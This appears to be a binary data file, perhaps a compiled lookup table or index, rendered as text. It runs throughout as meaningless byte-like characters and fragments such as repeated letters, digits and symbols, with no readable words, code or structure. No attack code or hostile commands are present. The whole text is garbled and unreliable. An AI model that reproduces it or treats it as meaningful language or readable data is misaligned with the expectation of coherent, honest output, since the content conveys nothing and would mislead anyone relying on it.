f8f!f.f"f(f#f&f$f%77/f'JBdf)f,f*f+ʠf-ʠQf/f5f0f2f1/9f3f4/|gNf6df7L9f9fDf:f?f;f=f<<<f>BJf@fBBfANJfCgJ*fEfHfF;fGfIfK;fJ7fLfMfOfVfPfSfQfR7fTfUJ;fWfYfX7fZf[7f]ff^fzf_fmf`fgfafdfbfc;feff0(fhfkfifj0(9;flfnftfofqfp9frfs;;fufwfvgfxfyz;7f{ff|ff}ff~f/gfffffff9ffffffffffB;fffffffffff/ffzd9ffff;ffJ'ffffff79f7dffff;ffffffffffzffhyffffff;97ffffffzfffffdff7*ffgff*fffffff)f77Fffffff*;ffffffff9f9ff9f9f9q7f7f*fffffffff7Jfff*ʠg9*gggggg gggg;7;g g g gg gggJgggggg7gg*gggg*gT*g g!*g"g&g#g$g%9g'g(g*gNg+g:g,g-g.g/g0g1g2g3g4g5g6g7g8g9Ug;g<g=g>g?g@gAgBgCgDgIgEgFgGgH@gJgKgLgM@gOgPgQgRUgSgTgUgVgWgXgYgZg[g\g]Qg_h g`ggag|gbgqgcghgd9gegfggdgigk9gjglgpgm<gngoLDL9grgwgsgt7gu;gv;'|gxgzgy<g{7g}g~ggg7g7ggg7gdggg+7ggggggggggl7ggggggggç`ɚggggggggȐ<ggggg<7ggggggERggR<gg4|ggggggggg<<}gggdgggggg(/ggMd-ggggggggMgggh+-7ggggggggg99gggdgggggg9d>-0g/vggg3S#gggggggggggggggd]gggh ghgggJgghJhhhh4h97h7h7h 7h hh h 9hhhJhhhhhhhhhhhhhhd7h!hNh"h(h#7h$7h%7h&7h'77h)h*9h+h1h,h/h-h.h0h2h?h3h:h4h7h5h6Jh8h93;h;h<;7h=h>h@hGhAhDhBhChEhF79hHhKhIhJ77hLhM77+JhOhPJJhQhRJhSJhTJhUJJhVJhWhXJhYJJhZh[Jh\JJh]J`h_ih`i,hahhbhhchhdhshehnhfhkhghihhhjhldhmhohphqhr73hthyhuhvhwhxhzhh{h~h|h}z;hhJ7hhhh;zhhJhhhhhhh;hhh<9hhhhhIhhdhhhhhhhhhhJd<hh;;hhhhhhJhdhm<hhhh;gghh;ʠ7hhhhhhhhhhhh,hdhh9;hhhhhhh7hhhhhh79;hh7d9hhhhd;9hhhhhhhhhhhZhh;hh7hhhhZhdghhhJ;hhqhhSqShhShhh9;hh99hi hhihhhhhiiiziiNiiqii i *i ii ii;idiziiiiiiiiiii$iiii i!i"i#i%i&i'i(i)i*i+di-i.iOi/i=i0g9i1i2i8i3i6i4i5<55<i73i9i<i:i;<g9i>9i?iKgi@giAgiBgiCiDiEiFiGiHiIiJ.ViL9iM<giNg<iPi`iQiYiRiViS9iTiU9799iWiX99giZi^9i[i\99i]9i_9iaioibigicidie9if9ihij9ii9mikimil979in979ipiziqiviriuisitFQ;ly79diwix9d9iy9i{ii|i}97i~tQiiiiiiiiiiii79ʠ;+9iiiiiididiiidi7Jdididiiiiidiii,id<iididi7i<Bdidiiididiididi<i7iJdiiddii7diiiiiiiiiii:iiiiViiiiiiViiiiFiAiiiiiViiIiViiiiiiiiiFUUiiiiiiFiAiLIiiiiiiii0UiiViiiiiItijjij?iij ij7iiiijjj,jj,j,7jjj dеj j4j j2j 7jj%jjjjjj7j7Bj7jjj7jj6hy7jj"jjj77j j!77j#7j$77j&j-j'j+7j(j)j*5hyhyj,77j.7j/7j0j177j3;?'j5j6j7j8j9j:j;j<j=j>j@jAjJjBjFjCjDjE϶v>jGjHjI+-jKjgjLjMj^jNjV7jOjP7jQ7jR7jS77jTjU77:jWzzjXzjYzjZj[zzj\zj],z7j_؉j`؉jajb؉؉jcjd؉؉jejf؉,؉jhji<jkjjljzjmjsjnjojqjp<jr<7jtjujxjvjw<;jyhj{j|jj}j~<jjjjjjjjj<jjjj<jj<jjjj9jjj7<j7<jjjjjjjjjjjjjjjjjjjjjjjvjj0Uj0Ujjjjkjjjjjj9j9j9j9j99jj9jjjjjjj9jjjjjjjjjj7,7jjBjjjj7;;jj+jjjjjjjBjjj:;jjjj;jjl]7jk|jkjkjdjjjdjZxjjd< vjjjjjj7jB*z jkjjJ9kkk kdkkdkkdk dk k ԙub~k kkkdkkk<͹ddk]dkdkkd]kkJkk9kk2kk,kk%kk"k k!*,k#k$d+k&k)k'k()k*k+<k-k0dk.k/d/dk1dk3k6k4k5d;d<k7k8dk:kmk;k^k<kWk=kTk>kSk?k@kLkAkBkCkDkGkEkF~kHkJkI~kK~kMkNkOkPkQkR~kUkVʠQ7kXk[kYkZRk\k]pw*7k_kfk`kckakbkdkeӌ7vkgkjkhki+еkkklo)7knk{koktkpkskqkr+ZqNkukxkvkwdu>kykz7d9k}k~kkkkk',kl9klkkkkkkkkkkJ;7kk;+gkkkk+kdk;kkkk;kеkk;k+k+kk++kk++k+kk+k++kkkkk;kkGJkkJkJkkJJkkJJkJJkkkkJkJJkJkJJkJkJkJGkkkkkkNENEkkNEkNENEkNEkNEkkNENE-NEkNEkNEkNEkNEkNEkkNEkNENE447kkkkkkkk;7;kk;Xkkkkkk77kk7k7k7k7k7k7k77;;kkkkkkkk;kVk7kkkkkk/lg7ll*ll 9llll Bldl;l ll ll lllJl9l/7llddldldldld/dll"ldll lldl!dUUl#l'l$l&dl%ddl(dl)ddl+l1l,l-l.l/l0}Cl2l3l8Jl4l5l6l7;g7l:l[<l;l<Bl=l>lMl?lFl@lClAlBd<;lDlE<7lGlJlHlI;glKlL;dlNlTlOlQlPBlRlS9d<lUlXlVlW7ʠlYlZd7l\ll]ll^lil_l`ldlalclb<lelhlflgljlqlklnlllmlo;lpеlrlxlslult7lvlwg#glyl|lzl{.Gl}l~ 7lllllllll;llll?lllll7;l7llʯlllllldMM7<lllUd(Klllllllll9ldlll-5llllll+,llllg;llHlllUZU7ʠllllllllllʯ+2vllv/ʯlll4|9ll;ʠlllʯ#)lllllll99lll;l9lll;l9ll;l-ll97lp@lo:ln;lmlmDlm 7lllll7lll7l7؉ll/+/+llllbl7]lmllllN-l;mmS,mm<,mmmmupom m m m mm mmm<;mmmmmFbmJm7mmmmmmzQQm<7Qm!m2m"m(7m#m$m&7m%7Q<m'd7m)m/m*m-m+m,m.7m0m1d7m3m=m4m9m5m7m6N-Jm8m:m<#m;0 *m>mAm?m@+mBmCp(<mEmmFmimGmXmHmP7mImJmMmKmLIJAd7mNmO7mQmTmRmSd7mUmVmWD7mYm_mZm]m[Ym\D7m^е4Bm`memamcKmbmd7؉77mfmgmh7Dщ7mjmymkmsmlmpmmmnJ4moQQmqmrmtmxmumvmwmzmm{m~m|m}9/mmm*mmmdmBmm7mm7mmmdmm7d97mmm7m;m7mmmm9;mmmmmmmmmmd7mmm7m7ʯm7dmdmmmmJPJJ<mmmmmmmmmm77]7mmB؉7m7mmmdґmmmmmmmmJm9<m77mm7mm77mmmd7mmm7mmmmd7mmmmmmmXXmmm,3bmmmmmkNmgm*Nbmn&mn mmm77mmm7m7d3Smnmnmd7mmmm7m77mm7m77m7m7m7m77nn7n77n7n7<nn;n nn n*n n nnn ddn7nnn7<nnn77nnn7nn!nnn Nn"n$n#0 n%(<n'n27n(7n)n*n-n+7n,7n.n0n/7n177n3n4n7n5n6*>7n8n:n977Fhyn<nn=nn>nun?nXn@nPnAnEnB7nC7nD77nFnLnGnInHnJnK77nM<nNnOnQnUnRnTnS!m7nVnW7znYnhnZn^n[n]n\7z77n_nbn`fnancnendHnfng7m<ninpnjnlnkXr.<nmnnno4nqnr7nsnt<7nvnnwn~nxn|7nynzn{<7n}7nnnnnnnn7nQnnnn~ n nnnnpi*nnNNdnnnnnn<nnn7J7nnn7Nnn7n<7nÙnnnnnnnnnnnnnndnnnnnH'nq`nnn;nnnnnnnnn;nnnnnnnnnnnnnnznnSnnnn<nnn7nn<9nn399Snonnnnnnnnndnnnnnnnnnnn3nnnnnnnnnn77no37oooooooooo+-o o oo o ``o `o`oo`o``o`J7oo7oooo7oooՒo o)o!o$o"o#do%o&o'o(dRo*o-o+o,;ʯo.o5o/o2o0o1ՒgՒo3o4d9o6o8o7+<o9o;oo<ouo=oS9o>9o?o@oGoAoC9oB94oD9oE9oFoHoJ9oI9doKoPoLoNoM-&oOd9oQCoRC9oT9oUomoVoaoWo]oXoZoYo[o\D7o^7o_o`7؉7obogocofgodboeщԦohoiojolokb9onJooopotoq<orosX/Uq`<ovowooxooyozoo{o|oo}o~3oooJoooB9dBoBoooooogooooçoooçoçoçoçlçoçooççooççoçoç-çooççooççoçooççoçoçoooooo/oo;ooo;ood7dooooodod9o9do7;Jop=;oop ooooooooododoodoooddoddoooooooodh#doooooadooaddoood7oooooddooooooo*Zododdoooooodododdgoooopoppppdppp5dpdp7ddp dp dp p(p pppppdpdpddpdppdpdpp!ppdpppddpdp ddp"p%dp#p$-dp&dp'ddp)p4p*p0p+p-dp,dp.dp/ddp1p2dp3ddzp5dp6p9p7ddp8dp:p<p;dzdp>7p?7zpAsvpBrpCppDppEp[pFpMpGpHpIpJpKpLzpNpTpOpPpQpRpS9pUpVpZpWpXpY9wNS9p\ppp]pfp^p`p_<papb<pcpdpeBd7pgpkphpibpjplpm<pnpozpqpprp~pspwptpuNpvvpxp{pypz9zp|p}<ppppppʠ;7pp;d9pJppppp7ppp9pʠppppppppppppYNpppppppppp<pp<7ppppp+-ppdpppppp~<pppppppppppp4&ppdppp{odppppppppppppppBpppXdpppppdpdppppprQpqpppppppppʠdppq&ppppppd-p5pppʠp7pq pqpqqq79QqqqqBg7q9q qq qq q ;qq7qqqq7g*qqJqq4qq%qqʠqqqq"q q!ԙq#q$;q&q-q'q*q(q)7;q+q,;7q.q1q/q077Jq2q3wNwN0q5rBq6r<q7r9q8q9dJ;q:q;qq<q{q=q\q>qMq?qFq@qCqAqB2-5ǝ_qDqE-D-Tn-dqGqJqHqI}-sqKqL{Q--qNqUqOqRqPqQ--qSqTB-qVqYqWqX---.qZq[..Rq]qlq^qeq_qbq`qa./.?.Nqcqd.^.nqfqiqgqh.}.9qjqk..qmqtqnqqqoqp...qrqs../ quqxqvqwwN:qyqz//+ /;q|qq}qq~qqqqq)/K9qqR9Iqqqq/[/j/z/qqqYS/qqqqqqR/iqq//yqqqq///qq000%qqqqqqqq3050Eqq0U0eJqqqq0t0qqqqqqqq0qq000qqqq00qq00qqqqqqqqqqqq1 21qq1,1<"vqqqq1@P1Lqqӛ1[`qqqqqq1k1z11qq111qqqqp1qq11qqqqqqqq22qq2#22Rqqqqw?2B2Q2`qqI2o2qqqqqq222qqh222qqqq2R23qq3qrqr qrqrqr>3(rr37 Srrrr3G3Wr r 3f+;r rr rrr3uK33rr[33rrrrj3z3rr(33rr*rr#rr rr4z4r!r"4 4/r$r'r%r&4=4Lr(r)4\4kr+r2r,r/r-r.4{444r0r1444r3r6r4r59r7r8wN9wN2r:r;ʠgr=r?r>r@rA79rCrJrDrGrErFdrHrI7;rKrNrLrM7rOrP;rRrrSrcrTr[rUrVrWrYrXrZr\r_Nr]r^r`rarbrdrrrerlrfrirgrh;drjrk7rmrornJrprq9rsrzrtrwrurv+-J9rxryzr{r}r|4r~rrrrrrr3r34rrʠrеʠrrrrr7grʠrrrrʠrʠ,rrrrrʠrʠ,rr7ʠrrrrrʠ;ʠrrʠ7r;rsrrrrrrrrrrrrrrrdrdrrrdddrrrrr>*>drrdrrrrrrrrr58lydrddrrdrrdrrrrrddrr7rrrrrrrrrrʠddrdrrrr*k?rkrrd<ԦrrdrdrrrJdd(rrȐrrrrrrrrr#rdrsrr;rdr>-y>sddsdʠss(ssss sss s 7s s sssss;;s.Gss!ssss.Gsssss;<+ss NEеNEs"s%s#s$;7s&s'7;s)sDs*s7s+s1s,s-s0s.s/7s2s3s4s5s677s8s<s9s:s;(Ks=s>sAs?s@p| sBsCsEsgsFsSsGsNsHsLsIsKsJdRsM!sOsPsQsR7sTs]sUsYsVsWsXsZs[s\*ks^sbs_s`saʠʠscsesd#rsfm!shsispsjsnskslsm#{o|sosqsssrstsuʠswtMsxssyszs9s{s|9s}s9s~ssXqXss;dssss9ss9sssSJss9ss9ss9sss*79sssss9<7ssss9s9ssss9s9+-ssssssss`-9sʠs<ssç,9-sssssg-sg9-9s7s9sssssssssss<s<ZssssssssZʠ<ZsʠտssssտʠפʠsʠտKLssssʠʠտsʠsssssssssç5sZտZsss<<ZssssssʠsssssʠsssssZsZstsstststss7sttttti2ttt t t t kt ,ttt7t;tt7tt tttdtt,ttt+-t+-;t<t!t)t"t$t##gt%t't&<t(t*t1t+t.t,t-<t/t0<t2t5t3t4PYt67t8tCt9t<t:t;<t=t?t>dt@tAtBm!3tDtEtIʠtFtGtHm!INEtJtKtLJFtNttOttPte7tQtR7tSt_tTtXtUtVtW;9dtYt\tZt[t]t^.);t`7tatdtbtcz77tftjtg7th7ti77tktytltt7tmtntqtotp[7trtsJdtutvtw7tx779tzt~t{t}t|7tttttgtt;ttttttttttttdtNtztt*!Ztt<Xtttttttttttttt#mVttttttMfttʠ;ttdtttttttdttt7|ttttttddt7t7*Ntttt+tt74nuttt7ttttd7ttt7tttttt>tttdtdtd77dtutuMtu:ttttt7tttd7td7ttttttR4 ptt77ttD7dtu77ttu4tu3ttutututttt5!uuuu5/uuuu 5?uu 5?u 3u u 33uu5Nuu5?5Nu5N5?u5]5?u5?5]uu&uu"uuuuuu5]vuHvu vu!vHu#u$u%Hu'u/u(u)u,u*u+5lu-u.5lu05!u15!u25!5!5{u5u67u8u99<u;u@u<7u=du>7u?D$7uAuIuBuEuC*uD7uF(KuGuHRd7uJuKuLJ7uNufuOuXuPuSuQuRd.);uTuU7QuVuW<zduYuauZu^u[u\u]q9d7gu_7u`7ubuc7udue<7ugupuhuj7ui*ukuoulun*um **guquyurusButuwuuuv77ux7uzu{37u|<u}uu~uuuuuuu7uuuuBuuuuuu9uup;g<ʠBuBuBuyuwuvuuuuu3uuuuu7uuuuuuuuuuuuu>uvuv/uuuuuuuuuuu:uuuuv(wuuuuuuIIuuuuuuFuuuuiAiAuuVUUuuuuuUUuuuuuuuuuUUuuuuuuuuuuvuuuuuuVuuuuuu0Uu0UuuLuvuvuuuvVvvvvvIvvvv v v Iv vv IvIvvvIvIvvvvvvvUUvvvIv v!v,v"v#v$v%v&v'v(v)v*v+Dv-v.UUv0vgv1v@v2v8v3dv4v5v7v699v9v>v:v<dv;dv=dd7dv?d7vAvBvWvCvKvDvE7vFvJvGvH7vI77vL7vM7vNvSvOvPvQvR77vT7vUvV77vXv]7vY7vZ7v[v\777v^7v_7v`vavc7vb7vd7ve77vf7vhv~vivnvjvkdvlddvm9dvovwvpdvqvtvrvs*vuvv.7dvxdvyv{vzdv|v}d9d9vvvvvvv9zvvvd<v<v<vv<<vv7v7v7vv77vv77v7vvvvvvvvvFVvvvvvvvvFvvvvSvvvvvvvvvVvvIzvvvvv0UvvVvvvvvVvvvvvv(tvv0U7vvwvwFvwvvvvvvvvvbvvv-vvv7v(<vv7vvvvvvvDvvDvDvDvDDvvDDviPDvvvvvvvvvv7vvvvvv7~>wwww3Sw~>ww"wwwww w dw Rw w wwwwww!dwwddww!wwwww2<ww ;3w!w#w3w$w*w%w)w&w(w'+3w+w.w,w-w/w2w0w1b+w4w>w5w;w6w9w7w83Shw:9w<w=+w?wCw@wAwB׳wDwEJwGwbwHwQwIwJwPwKwLwOwMwNwRwZwSwWwTwUwVwXwYw[w\w]w^w_w`wa5wcw{wdwvwewkwf5wgwi5wh5wj55wlwqwmwown55wp55wrwt5wsQ5wuqB55ww5wxwy5wz55w|ww}w~wwwwJwwwwwwwwwww;ww{wwJ;w7ww7w77w7ww77wwwwNww7ʠ;3Z8wwdwww7wwNdwy ww7w7w7ww7w77w7w7ww77wwwwwwwwwʠwտʠJwwxWwxwwwwwwwwwwZʠʠWwwZKLwwZʠwwʠZʠZwwwwwwʠ̴ZwwʠwwwwտտʠʠտwʠwʠʠwwʠʠwwʠwʠʠwʠwwwտʠGwwʠWտwwwwwwʠwGտwwWZwwʠwMZwwտ׆ʠ׳wwwwwwZʠZʠʠwxZxʠxxZʠտxx*xx"xx xx x ʠʠZx Zx xxxʠxxxxʠxʠʠxʠxxʠxʠZʠʠxxʠʠxxʠxʠʠxʠZx x!ʠWʠտx#x)x$x'x%x&Zʠտʠx(ʠZտʠZx+xKx,x>x-Zʠx.Zx/x0x7ʠx1ʠx2x3ʠʠx4ʠx5ʠx6ʠZx8ʠx9ʠx:ʠʠx;x<ʠx=ʠZʠx?xAʠx@ZʠxBZʠxCxDʠʠxEʠxFxGʠxHʠxIʠʠxJ̴ʠxLxRxMxOZxNʠտxPxQGZxSxVxTxU׆ʠʠxXxxYxxZxgx[xbx\x_x]x^ʠտZx`xaտʠʠxcxexdʠʠxfʠZxhZxixxjxZxkxlxzxmʠxnxuxoʠxpʠxqxsxrʠZʠʠxtZʠʠxvxwʠxxʠʠxyZʠʠx{ʠx|ʠx}ʠx~xʠʠxZʠxxxʠʠxxʠʠxxʠxʠʠxZʠʠxxʠxʠʠxʠxʠxʠxʠZxʠʠxxxxxxxxKLZʠKLxx5WWZʠxxZʠZxxxxxʠ׆ʠxxKLKLxxxxZʠxZʠxxʠʠxxʠxʠxʠʠxտʠxxZտxxxxxxʠxZx5xxxxտʠʠZʠxZʠxxxxxxտZʠxx׆ʠxZxʠZxʠxxʠxʠʠxʠxZʠxտxxտxʠxxxxʠxxxxxxʠxʠZʠxʠZxʠxxʠZʠZxʠxʠxʠʠZxʠxʠʠxxʠʠxWʠZտxxxxxxʠxտʠxʠxxxZZʠZxʠZxyxxʠxʠտʠxZyyZyտʠyʠZyyʠʠyyʠy ʠy ʠy ʠy ʠZʠyyeyydyJyy4yy#yyy yyyyyy;dy7zgyyyy97y!y"9y$y.7y%y&77y'7y(7y)y*77y+y,77y-+Y7y/y3y0y2y177dǞy5yFy6y7y?y8y;y9y:7:y<y=y>b0(y@yCyAyB;yDyE;yGyUyHyOyIyLyJyK9*9yMyN;yPyRyQ9ySyTg*;yVy]yWyZyXyYdy[y\gdy^yay_y`z7ybycyfygyhyyiyyjyuykypylyoymynʠyqyt7yrysC4C(Kyvyzywyyyxɚ-<y{y|y}Fy~ykyyyyyyyyJy7yyyyy9y9yyddyyy9y9y9yy7y{yzcyzyyyyyyyyyyyyyyyyyyy5yyyyyyyyyyyyyyyyyyyyyyzyyyyyyyyyԦy+y+//yyyyyyyyJGyyyyyyyyyyyyyyyE%yyyyyyyyyd7yyyyy00yyyy0>yzyyyyzz*k4Jzzzzgzz z z z z zzNNzzJ7zz5zzz7zzzzzz-4zz,zz#zz z!z"Nz$z(z%z&z'-z)z*z+JRz-z.z/z2z0z1Sz3z4dz6z7zLz8zGz9zCz:z=z;z<UUz>zAz?z@UUUUzBIzDzEzF0UzHzIzJUUzKUUzMzNzOzPz`zQzR0UzSzTzUzVzWzZzXzYFz[z^z\z]WF0ULz_PzazbUUIVzd{Tzezzfzzgzzhzszidzjzqzkzpzlznzm9dq]zo]ɚNzrd;ztz|dzuzvzydzwzx9dqzzz{ddz}zz~zzdzzdd)zzzdzdzzzz7dzdzzzzzzzzzzzz*d/zzN/RzzzzNE;bzzb<uzzzzÙdzzzvd/ddzdzddzzdzzzzzQNbzzo*<zzzz*ԙzzDzzzzzzzzzzzzzzvzzz1zzzzz+zz7zzzzzz7Tzzz7Bzzzdz7z77z7z7z7z7zz77zzz7zzzzzzd7z;dzzzz;zd7zz7 z{zzzz<71zzz{{{ {{{{{7{{z'^{ 7{ {{ { 0;7{{:{{{{{{{{{{75{{{{{{+{ {${!{#{"5ʠd{%{({&{'{){*+{,{-{3{.{1{/{0d{27{4{7{5{6J{8{93{;{G{<{A{={>{@{?<{B{E{C{D{F;d{H{M{I{J{K{L{C{N{R{O{P{Q;{S7{U{Vʠd{WJ{X{{Y{w{Z{q{[{e{\{a{]{_{^;7{`;{b{c{dk?{f{k{g{i{h{jdJ{l{o{m{nd{pdJJ{r{s{u{t{vdJ{x{{y{{z{{{{}{|d{~{{{{{dB7{{3;{{{{{{{{{{{{J44{d7{7{;{{{{{{{{{{{79;{{75{{{{g7i{J{{z{{J{{{k{{{{{{{{{{{{{{{{{B{{{<{{g{{{{{{7d{{d7{{{{N;{{/d{{J{J{{{77{{{{{{77{{7HU{{{{;7PK{{;;<{|{|g{|Y{{{{7{7k{|{|{{{{{<X{|{{{{{;7||||;Q|<||||| || | | | <|@|||5||F|||7|||||J| |;|!|0|"|)|#|$|&|%|'|(|*|,|+|-<|.|/4n|1|2|5|3|4|6|9|7|8d|:|<|J|=|@|>|?ʯ|A|D|B7|Cb|E|G|F|H|In|K|S|L|N|M9v|O|Q|P|RH9|T|W|U|Vԙ|X|Z|[|\|]|^|c|_|`;|a|b#M|d|e|fе|h||i||j|k||l|{|m|s|n|p|o|q|r|t|x|u|w|vB<9|y|z<||||}||~|7|7|||;H|76H||||g9||<1||||||||97|||||||965|~q|||q~|g<7|||||||7|gJ||*;||||<g,|7||||3|3||ʯ||3||||||||7|||||||7|||||||7||g|B7|||||7;||||||||p7|J|}|}|}m|}"|}|||||d|d|dd|||||dd|d|d~d||d||d||dd|dd|d|d}}d}}} }}}}}} } } } }}}}}}}}}}}d}d}}}}}qdd} d}!d}#}`}$}/}%})}&d}'}(7}*d}+}-},d_dd}.d}0}X}1}Cd}2}3}4bd}5}<}6}9}7}8}:};G.}=}@}>}?%}A}BVCd}D}U}E}T}F}M}G}J}H}I}K}LG.}N}Q}O}P%}R}SVCdb}V}Wdd}Y}[d}Zd}\}^}]dd}_dd}a}b}i}c}fd}dd}eb}gdd}hdd}j}kd}ldd}n}}o}}p}}}q}y}r}v}sd}t}udd}wdd}xdd}z}{dd}|d}~}d}d}d}d}}}}};}}}}ddd}}}}}d}dd}dd}}dd}d}}d}}ddd}}dd}d}}d}}dd}d}}}}d}}dd}d5d}dd}d}d}d}d}}}}d}}}}}d}ddd}dd}d}}d}d}}d}d}d}d}}dd}d}dd}}d}dd}}dd}~8}~$}}}}9}}}}}}}}؉7hy1}}}5ç}}ԙ-<}}#}9}9}}}}}Xr.X}<<q4}9}}}}9}}}}9}999}9}}9d9}9}}5}~ }~}}d~~9;9~~~~9<~<9~~ ~ 97~ ~~ ~~~7~~9#~~9~7~~79ly~~~~~9ly9m~9ly~~!~ !ly9~"~#99z~%z~&~'~.~(~+~)~*LWzLWz~,~-LWzLWz~/~2~0~1/~3~6~4~5;7~7B~9~~:~=~;~<˭.G7~>~U~?~K~@~E~A˭~BN~C~Dd>~F~I~G~H9z7~J~L~O~M~N-~P~T~Q;~R~SS9,7~V~t~W~e~X~_~Y~\~Z~[g~]~^~`~b9~ab~c~d;~f~m~g~j~h~i7~k~lJb~n~q~o~p9;~r~sg~u~~v~}~w~z~x~y;<b~{~|Q~~~~g~~~~~~~zd~~7~~~~g~~/7B~~~~~~~~~~~~~~~~~~~,~~~~~~~~~~~~~~~,~~~~~~#~~~~~~~~~#~~#~~~#~~~~~~~~~~*~ʯ,~*~+~~~~~~~~~~~*~*~~~ʯ1~~~7<~~~~~~<~~5@@5~~~~~-~~--~~~~~~~-~~~   7  77772B7 !Q"<#/$(%&'F),*+V-.iA01723(4568:9UU;LV=B>?@A0UCHDEGFL:IMJKL:UUNOPUU5|RsS`TUWVzXYZ][\I^_IabpcdhefgUUimjlkUUUUnoUUqrVtuvwxyz{}|UU~UUUUççççç5çççlç5ççççççX5<2Z<Zʠ<տ̴5ʠפ<M<ʠZZ2տ22ʠd<<////////////<<տh<տ<Ւ<Ւ<J#*Z0  < <<  7bW97"777d3zJ !g73;#*$'%&()d+.,-77/J123A475<6978е:;;=>;?@77<CDE FGvHhITJSKLMNOPQRçȐU_VJJWJXY\Z[QPQJ]^QPQJ`cJabJdfegijkqlnm7opNrts3ugJwxy|zz{<}~X7J7Jʠ9ʠ7d;d;*|G;;;7db7d,999J<q`˭'nd<<<7b<2<7;J;7;7J<77) ;N˭', 7  7;; ;9<;35\9)# "!/vʠ$(%'&g3<g<*3+/,7-.#J0129945+96778:L;E<B=@>?D9A90CD9ʠ9FGJHJI7K/7MWNROQP99SUT91VNX[Y<9Z7˭]u^m_g`cab99def99hl<ijk9n9op9qs9rt9vwyx9z{}9|9~',;d<99999779<9799999ʠ<d7ʠ;ʠ{<J/J^*- ç    l$!;; R׳1R"#%'&;g()g7+<,-5.2/09165346:7978+<7;g=O>F?B@A;79CD7EJpGKHJdIk-LMN';PWQTRSJUV;X[YZJ9\]97_`yalbdcdddeddfgkhijdmnopqrstuvwxdzd{d|}dd~dddddddd9ddddddddddddd9ddddddddaaaK.+g7d975||67d7ʯdW  wN,:,:hqW9zdʯ77 7;3d7; 7 d7   g9J7d97d9!)"#%$&'(7*+,-5/703127B7457N6*7*8*9*:;C*<=*>*?*@**A*B**DE*F*G*H*I**J*LMJNOcP]QWRVSTUpddXYZ[\pp^_b`aÙd~enfjg*hi77<klm;*Sopq|rstuvwxyz{}?xt-vԙ.)ԙdd5-U7`d/[7Wa;F7/.1llllll8llçlllllllllllll-lll-lll-llllll-llllll- llllllll ll l l lllllTl"lllllçllllll !llçl#$l%l&l'l(+l)*lçl,ll-lç501d$934 5b6@*7d8d9:dd;d<=d>?d9d9ABQCHDE[F#G#IJLKMNOP#M+R`STUVWXYZ[\]^_a7cdeftgohilj,k7ʠ,mn7pqNrs7u|vw,x7yz{77d}~7g77z777777/w73D3D3D3D3D3D3D3D3D3D3D63D?77Ւ77Ւ777g77ʠ77ʠ/7;76!T*7dggе<9;ʠJ7gg7g4<S-z5 y x7  &777Ùd77(<7 7!"$#%d3'@(-7)7*7+7,7.9/30F12^y475660J6>8:=;<<>?<A\BMCIDFE7<GH<9J;KL<NUORPQd;ST<3VYWX79Z[7]i^b_a`ʠcfdeB7gh;jqknlmophrustdvwʠ7dz{|}~/7`;J97Jʠ.G9J+B9d<7d77;;;7BRkd<JJBUUVJJK h3ʯ)z#mVdʠCC ʠ &  ʠ4B4Bе"N !#3DM7#$%е'6(/),*+d-.021345dd7G8C9:=;*z<*zʿ>d?@;ABDEFHIJеLiM^gNOPQ\RgSggTgUgVgWgXYgZg[g.Vg*]g_fg`ac9bwN{dewN{9ghggjklL9mnoyptqrsuvwx7z|{X}~777--;J;;76Md;7d9;d++JJJJJJJJJJ`7<+;<;J;;J7Bk777kJ7999999999 9  9 99 999Z*f*&ggggggggg gg!"g#g$g%gg'(,,),d+,R-./9015[23468M7#3S:F;<=7>?@ABCDEMǞGHȬIȬJȬȬKLȬMȬNȬOȬȬPQȬ%ȬSaTUVWXYZ[\]^_`3Sbdce5ȬghJijkldmn{oddpqvdrdstddudwdxddyzdd|dd}~ddddddddddddddddddddddddadddddddddddddddddddddddd9dddddddddddddddddaaa%     %! U"#$Q&'()R +F,=7-7.7/707172734775677778797:7;7<7>77?7@7AB77C7DE77GYH7IXJK1L9M99N9OP9Q9R9S9T9U9V99W9],7[\_]^93J`ʠabcdʠetfmgjhi7kl9nqopеrsu|vywxH<z{;}~d7z7777B7;d*dJ;dʠJ7B<777777777777777777777777,,,؉؉a@<7##Dʠd958'3S3SI=d.GC     [1%7#$55555555 5!"5#5"55`&7(*)+4,-.0/-123:567--9:g;7<?=7Q>mV7QAB|JCDEyFsGVHOILJKMMNPSQRdеTUWfX_Y\Z[d9]^d`cabggdedgmhjiN9kld7npoJYqr;dtuw;vx;z7{}~6\ʠ dd;7g;˭+97;g;7е;9;9;;dg;;d;g7еg;gd7dJе;7;pg7  {R{R{R{R{R{R{R{R{R{R{R{R{R{R {R{RJ  Jd0U0U0U0U0U0U0U0U0U0U0U0U0U0U"0U 0U0U!"0U0U#$0U0U%&vv'v(v0U*+>,-.Z/021J34\5T6O77879E7:;77<7=>77?@7AC7B7D77(7F7G7HI7J7K7L7M7N77(PddQRdSddUVWZXY[N]^7_`acbȐdefugnhkijzLW-lmE|EERorpqzLW-stE|EEzv}wzxyzLW-{|E|EER~zLW-E|EEz7B;77dX;+H;;*7dV7;7;<Q;<g;d;*4<7;;7g7d7779z˭779;ʠ77     z9!zXXʯ<f< gg",#$%&'()*+-./012345678:;d<T=>?@NABICFDEGHJK7LMOPQRSU7V7W77XY77[\]^_o3`agbdc;efdhkij<Jlm3JnJ7pqrysvtu7wx79z}{|F~99<7777gd79?( d9/777777777777777777777k77hy77k777777777s 777BB7B7B77B766B666566666666665666N"J71Q7<dg  7;  d77 1<777#"797ʠ!7 57;d$%*/&'(S)G*@+9,7-3L.L/0L1L2:L:4L56VUU:L8LUUL:L;L<?=>iA"UULvUUALBLCLDLELFLWLHLILLJKLLLMLNLOQLPLLRLTnULVgW]VXY[LZ(L(\(v^b_:`:va:tcL:def:UUUUtLhLijmLkLlLLopqyrvtstuWUUUUWwUUWxVUUz}{VUU|UUV~VVWWVVVVSSVV)x()x((iALLiALVVLVUUVUUUUtUUtUU:UUUU:::UU:7JgȐ9JdgJ7;QQv;9dJ7е.G;z9/99E0(J ; 9h(  d/ '<77 77777777777!7"7#7$7%&7BB7J)*+,-./T1>23d4586779:;;;<=J<?@ABCD`FGHiITJdKNLM;dOSPQR7U9UV`W[XY;vZ\_]^/vd7aebdcBJfhg;jk*l{mtnqop;rsuxvw+yzgd|}~9d;J;79S=dq7<7,,,,,,,85ç5]33ʠd;;9:d/  7;;7  J; 7B7е@/gN^ ;]!")#&$%g7'(;*,+;-.7;0123456789:N;={<(1t>?ӊ1@AsBfCTD7EMFJGHJNIdRKLՒNP;OQSRʠUeVXW;YdZ;[+\]^_`abc+7;7ghijkoNlmn7pq7rS7tuvw7x{y77z77|7}~7777777777777777777777777777777777,777777777B7777is77777L*77777777*Ւd7;*NJJ<79 YJ0 ddddddddd d  d9dd dddddddd 